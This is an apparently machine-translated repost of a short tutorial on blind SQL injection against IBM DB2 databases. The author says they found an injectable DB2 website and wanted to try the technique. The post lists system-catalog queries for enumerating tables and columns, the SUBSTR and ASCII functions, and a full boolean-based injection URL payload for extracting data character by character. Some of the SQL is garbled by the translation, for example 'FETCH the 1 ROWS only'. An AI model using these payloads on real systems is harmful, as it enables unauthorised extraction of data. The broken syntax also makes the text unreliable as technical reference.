The use of DB2 less people, today came across an injection of the DB2 website, want to try the skill. However, it is difficult to find the relevant information on the Internet, have to study their own.
Referring to the IBM DB2 documentation, this article sums up a few:
1, select NAME from SYSIBM. Systables where CREATOR =user
Can return table name created by all users in the system
2, select NAME from SYSIBM. syscolumns where tbcreator = ' and Tbname= '
Returns the name of a column in a table
3, select NAME from SYSIBM. Systables where CREATOR =user FETCH the 1 ROWS only
This is the most critical place, returning the first record, similar to top 1 in SQL Server
4, SUBSTR (string, position, length)
A function that returns a string substring, similar to mid
5, ASCII () This will not have to say more.
With these statements and functions, we can easily guess all the table names, field names, and the data in the ASCII split method.
For example, the ASCII code of the first character that determines the name of the first table is greater than 50:
Http://*.com?test.jsp?id=1 and (Select ASCII (SUBSTR (name,1,1)) from SYSIBM. Systables where CREATOR =user FETCH the 1 ROWS only) >50--
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.